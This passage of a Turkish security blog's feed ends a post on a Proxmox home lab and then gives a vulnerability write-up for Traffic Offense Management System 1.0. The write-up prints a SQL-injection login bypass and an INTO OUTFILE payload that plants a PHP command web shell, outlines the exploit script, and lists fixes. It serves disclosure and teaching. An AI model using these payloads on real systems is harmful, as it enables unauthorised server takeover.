&lt;li&gt;&lt;strong&gt;Firewall:&lt;/strong&gt; İçerideki makineler (Exploit Dev, Docker vb.) birbirleriyle ve internetle nasıl konuşacak? Kuralları burada yazıyorum. Örneğin, &amp;quot;Exploit Dev makinesi sadece Tor Gateway&#39;e erişebilsin, normal internete çıkamasın&amp;quot; gibi kurallar yazarak malware&#39;in eve &amp;quot;telefon etmesini&amp;quot; (C2 iletişimi) engelleyebiliyorum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malware Analizi:&lt;/strong&gt; Şüpheli bir dosya çalıştırdığımda, OPNsense loglarından hangi IP adreslerine bağlanmaya çalıştığını, hangi portları kullandığını canlı olarak izliyorum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wireguard VPN:&lt;/strong&gt; OPNsense üzerinde &lt;strong&gt;Wireguard&lt;/strong&gt; varsayılan olarak (veya eklenti ile kolayca) geliyor. Evde değilken, kafede veya ofisteyken bu laboratuvara güvenli erişim sağlamak için Wireguard kurulu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Statik IP Sorunu (Cloudflare Tunnel):&lt;/strong&gt; Ev internetimde statik IP olmadığı için, dışarıdan erişimde sorun yaşamamak adına &lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt; kullanıyorum. Bu sayede modemde port açmama veya IP değişikliğini takip etmeme gerek kalmadan, güvenli bir tünel üzerinden Wireguard VPN&#39;ime bağlanabiliyorum.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/opnsensesum.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/opnsensehardware.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Sonuç&lt;/h2&gt;
&lt;p&gt;Proxmox, eski bir donanımı bile kurumsal seviyede bir siber güvenlik laboratuvarına dönüştürebiliyor. VM ve CT (Konteyner) teknolojilerini doğru harmanlayarak, 16 GB RAM ile hem saldırı hem de savunma tarafında kapsamlı çalışmalar yürütebiliyorum. Bu yapı, öğrenmek ve denemek isteyen herkes için maliyetsiz ama çok güçlü bir başlangıç noktası.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Traffic Offense Management System 1.0 - Remote Code Execution (Unauthenticated)</title>
    <link href="https://tagmachan.com/traffic-offense-management-system-1-0-remote-code-execution-unauthenticated-tr.tagox"/>
    <updated>2021-08-18T21:00:00Z</updated>
    <id>https://tagmachan.com/traffic-offense-management-system-1-0-remote-code-execution-unauthenticated-tr.tagox</id>
    <category term="Security Research"/>
    <summary>ZeroDay Keşfi &amp; Exploit Geliştirme: Traffic Offense Management System - SQL Injection (INTO OUTFILE) ile RCE. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/traffic-offense-management-system-1-0-remote-code-execution-unauthenticated-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Giriş&lt;/h3&gt;
&lt;p&gt;Bu raporda, &amp;quot;Traffic Offense Management System 1.0&amp;quot; uygulamasında keşfedilen kritik bir Uzaktan Kod Yürütme (RCE) zafiyetini inceleyeceğiz. Bu zafiyet, kimliği doğrulaması yapılmamış bir saldırganın sunucuyu tamamen ele geçirmesine olanak tanır. Saldırı zinciri, kimlik doğrulama mekanizmasını atlatmak için bir SQL Enjeksiyonu ile başlar ve ardından sunucuya kötü amaçlı bir PHP dosyası yazmak için başka bir SQL Enjeksiyonu (INTO OUTFILE) kullanır.&lt;/p&gt;
&lt;h3&gt;Zafiyet Analizi&lt;/h3&gt;
&lt;h4&gt;Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)&lt;/h4&gt;
&lt;p&gt;Saldırının ilk adımı, yönetim paneline erişim sağlamaktır. Uygulamanın giriş mekanizması &lt;code&gt;classes/Login.php&lt;/code&gt; dosyasını incelediğimizde, &lt;code&gt;$username&lt;/code&gt; değişkeninin doğrudan SQL sorgusuna dahil edildiğini görüyoruz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// classes/Login.php
$qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;SELECT * from users where username = &#39;$username&#39; and password = md5(&#39;$password&#39;) &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Görüldüğü gibi, &lt;code&gt;$username&lt;/code&gt; değişkeni doğrudan SQL sorgusuna dahil edilmektedir. Bu, klasik bir SQL Enjeksiyonu zafiyetidir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kullanılan Yük (Payload):&lt;/strong&gt; &lt;code&gt;admin&#39; or &#39;1&#39;=&#39;1&#39;#&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bu yük gönderildiğinde sorgu şu hale gelir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * from users where username = &#39;admin&#39; or &#39;1&#39;=&#39;1&#39;#&#39; and password = md5(&#39;...&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu sorgu her zaman doğru döneceği için saldırgan, şifreyi bilmeden yönetici olarak giriş yapabilir.&lt;/p&gt;
&lt;h4&gt;Aşama 2: Yol İfşası (Path Disclosure)&lt;/h4&gt;
&lt;p&gt;Dosya yazabilmek için sunucudaki tam dosya yolunu (absolute path) bilmemiz gerekir. &lt;code&gt;admin/drivers/manage_driver.php&lt;/code&gt; dosyasındaki &lt;code&gt;id&lt;/code&gt; parametresi de SQL enjeksiyonuna açıktır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// admin/drivers/manage_driver.php
$qry = $conn-&amp;gt;query(&amp;quot;SELECT * from `drivers_list` where id = &#39;{$_GET[&#39;id&#39;]}&#39; &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Eğer &lt;code&gt;id&lt;/code&gt; parametresine tek tırnak (&lt;code&gt;&#39;&lt;/code&gt;) gönderilirse, SQL sözdizimi bozulur ve PHP bir uyarı (Warning) mesajı döndürür. Bu mesaj, dosyanın sunucudaki tam yolunu içerir.&lt;/p&gt;
&lt;h4&gt;Aşama 3: Uzaktan Kod Yürütme (SQL Injection - INTO OUTFILE)&lt;/h4&gt;
&lt;p&gt;Yolu öğrendikten sonra, aynı SQL enjeksiyon noktasını (&lt;code&gt;admin/drivers/manage_driver.php&lt;/code&gt;) kullanarak sunucuya bir dosya yazabiliriz. MySQL&#39;in &lt;code&gt;INTO OUTFILE&lt;/code&gt; özelliği, sorgu sonuçlarını bir dosyaya yazmak için kullanılır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kullanılan Yük (Payload):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;&#39; LIMIT 0,1 INTO OUTFILE &#39;/var/www/html/admin/shell.php&#39; LINES TERMINATED BY 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu yük, sorgu sonucunu (veya daha doğrusu &lt;code&gt;LINES TERMINATED BY&lt;/code&gt; ile belirttiğimiz PHP kodunu) sunucuda belirtilen yola yazar. Hex olarak kodlanmış kısım &lt;code&gt;&amp;lt;?php system($_GET[&#39;cmd&#39;]); ?&amp;gt;&lt;/code&gt; koduna karşılık gelir.&lt;/p&gt;
&lt;h3&gt;Exploit Geliştirme&lt;/h3&gt;
&lt;p&gt;Geliştirilen Python betiği (&lt;code&gt;50244.py&lt;/code&gt;) şu adımları otomatikleştirir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Login Bypass:&lt;/strong&gt; &lt;code&gt;classes/Login.php&lt;/code&gt; adresine SQLi yükü göndererek oturum açar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sürücü ID Tespiti:&lt;/strong&gt; &lt;code&gt;admin/?page=drivers&lt;/code&gt; sayfasını tarayarak geçerli bir sürücü ID&#39;si bulur. Bu ID, bir sonraki SQL enjeksiyonu için gereklidir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yol Tespiti:&lt;/strong&gt; &lt;code&gt;manage_driver&lt;/code&gt; sayfasına hatalı bir ID göndererek dönen hata mesajından sunucunun tam yolunu ayrıştırır.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shell Yükleme:&lt;/strong&gt; &lt;code&gt;INTO OUTFILE&lt;/code&gt; tekniğini kullanarak, tespit edilen yola rastgele isimli bir PHP dosyası yazar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Komut Çalıştırma:&lt;/strong&gt; Yüklenen PHP dosyasına bir istek göndererek &lt;code&gt;whoami&lt;/code&gt; komutunu çalıştırır ve sonucu ekrana basar.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Çözüm ve Kapatma&lt;/h3&gt;
&lt;p&gt;Bu zafiyetlerin giderilmesi için:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hazırlanmış İfadeler (Prepared Statements):&lt;/strong&gt; Tüm veritabanı sorgularında parametreli sorgular kullanılmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Zafiyetli:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;SELECT * from users where username = &#39;$username&#39; and password = md5(&#39;$password&#39;) &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Güvenli:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $this-&amp;gt;conn-&amp;gt;prepare(&amp;quot;SELECT * from users where username = ? and password = md5(?)&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;ss&amp;quot;, $username, $password);
$stmt-&amp;gt;execute();
$qry = $stmt-&amp;gt;get_result();
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hata Gösterimini Kapatma:&lt;/strong&gt; Canlı sistemlerde &lt;code&gt;display_errors&lt;/code&gt; kapalı olmalıdır.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Veritabanı Yetkilerini Kısıtlama:&lt;/strong&gt; Veritabanı kullanıcısının &lt;code&gt;FILE&lt;/code&gt; yetkisi (dosya okuma/yazma) kaldırılmalıdır.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;İlk Yayın Tarihi:&lt;/strong&gt; 19 Ağustos 2021&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Tağmaç &amp;quot;Tagoletta&amp;quot;&lt;br /&gt;
&lt;strong&gt;Canonical reference:&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/50244&quot;&gt;https://www.exploit-db.com/exploits/50244&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
</feed>
